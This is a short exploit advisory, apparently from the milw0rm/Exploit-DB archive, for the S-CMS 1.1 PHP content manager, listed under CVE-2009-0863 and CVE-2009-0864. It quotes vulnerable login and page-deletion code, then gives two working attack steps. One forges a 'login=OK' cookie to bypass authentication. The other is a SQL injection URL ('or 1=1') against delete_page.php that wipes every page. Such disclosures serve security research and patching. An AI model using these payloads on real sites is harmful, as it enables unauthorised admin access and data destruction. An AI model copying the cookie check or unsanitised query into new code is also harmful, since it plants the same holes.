EXPLOITS

S-CMS 1.1 Stable - Insecure Cookie Handling / Mass Page Delete

Author: x0r
type: webapps
platform: php
port: 
date_added: 2009-02-16  
date_updated:   
verified: 1  
codes: OSVDB-52571;CVE-2009-0864;OSVDB-52570;CVE-2009-0863  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 8071.txt  

#########################################################################################
[0x01] Informations:

Name           : S-Cms 1.1 Stable
Download       : http://www.hotscripts.com/listings/jump/download/87992/
Vulnerability  : Insecure Cookie Handling / Mass Page Delete
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login_action.php ... /admin/delete_page.php

[Code]

$user=$_POST['username'];
$pass=$_POST['password'];

$select_admin = mysql_query("SELECT * FROM cms_admin");

while($dati_admin=mysql_fetch_array($select_admin)){
$username=$dati_admin['username'];
$password=$dati_admin['password'];
}

if ($user == $username && $pass == $password){

   setcookie("login", "OK", time() + $logintime); #0wn3d

[/code]

[CODE]

		$id=$_GET['id'];

		$delete=mysql_query("DELETE FROM cms_content WHERE id='$id'");


		if ($delete){

		echo ""._DELETE_PAGE_SUCCESS."";

		} else {

		echo ""._DELETE_PAGE_ERROR."";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: 1- javascript:document.cookie = "login=OK; path=/"
         2- http://[victim].org/path/admin/delete_page.php?id=' or 1=1/*

########################################################################################

# milw0rm.com [2009-02-17]